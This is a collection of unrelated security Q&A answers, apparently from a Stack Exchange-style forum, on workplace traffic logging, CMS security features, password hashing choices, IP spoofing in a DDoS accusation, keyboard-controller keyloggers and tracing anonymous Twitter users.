Yes, all traffic that goes through their internet (and blocks) will be logged.

What will trigger an alarm is something only your IT department can tell you. Every company (and IT dept) is different). In my company, you would have HR approaching you very soon...


What security features should be present in every web-based CMS?

ACL-based security: define what each user can do. MagentoCommerce.com does this well if you want some inspiration.
Draft history / post revisions: so you can rollback if something goes wrong. See WordPress.org.
Rate limiting and velocity checking: i.e. limit how many comments/min. users can post. See... security.stackexchange.com :)
OpenID can arguably increase security, if you trust your OpenID providers can provide better security than you can.


Password Storage with Jasypt StrongPasswordEncryptor vs PBKDF2

Jasypt's StrongPasswordEncryptor is a special case of Jasypt's StandardStringDigester that, despite its name, is not standard at all. From the description, it appears to be some custom construction, which thus has the same problem than any other non-standard construction: it has not been reviewed. We don't know how to design secure functions, and the best we can do is to put functions under the collective scrutiny of (many) cryptographers for some time (years). A non-standard function did not benefit from even that, so we really don't know if it is good or not.

Not following peer-reviewed standards is, in my opinion, a serious security defect. Switching to PBKDF2 would thus be a significant improvement. (But I predict that people who indulge in custom functions will think otherwise.)

Of course, bcrypt is better.


Being charged with DDoS – my IP address shows on hacked computer

Is it possible that a hacker used "dirty tricks" to remotely drive my
computer and initiate DDOS attacks? Backdoor software?

Absolutely. Remote access, backdoors, bots, etc. they all give someone else access to your machine. Botnets are used for a variety of actions, including DDoS attacks.

Is there a way to spoof someone's IP address making it look like it
was the victim's actions?

Absolutely. But it depends on the type of DDoS. I can, from my home, craft traffic to a target using any IP address I like. Any response won't come back to me, though.


What is the security significance of Keyboard and Touchpad controller chips?

A keyboard controller is a logical place for a state-level attacker to put a keylogger.  Designing a logging controller and placing it in a keyboard in place of the standard controller is beyond the resources of most attackers, but once placed, it's virtually impossible to spot.
A touchpad controller may record past mouse actions for calibration purposes, or, as above, it could be a mouse logger placed by a state-level attacker.
I have no idea why the inverting controller was destroyed.  As a power-management device, it's unlikely to be on a data path, and recovering data from power fluctuations is difficult except in a highly controlled environment.


How is it possible that anonymous members still post on Twitter but aren't busted?

The bits that need to fall into place are:

the LEOs need to be able to subpoena that information from Twitter (that bit's easy if you're talking about the FBI, they're in the same country as Twitter and have the right to get that subpoena)
Twitter needs to have stored the relevant information (they probably do, at least, log what address any tweet was posted from, and its location is available when users opt in to that)
the LEOs needs to be able to make use of the information. This is where it starts to fall down. What if the computer that communicated with Twitter was a Tor exit node, a proxy in the Ukraine or a compromised high school desktop in South Korea? The problem has been pushed back a level: the LEOs now need to go to the next service and try and match an individual to the information they have. If that's an ISP in the same country, this is possible but time-consuming. If it's a foreign or international organisation they might not have the ability.

By the way, whether you think such activities are illegal is not as relevant as whether the law specifically proscribes them. My understanding of U.S. Law (and I'm no expert) is that AnonOps have broken some computer misuse laws.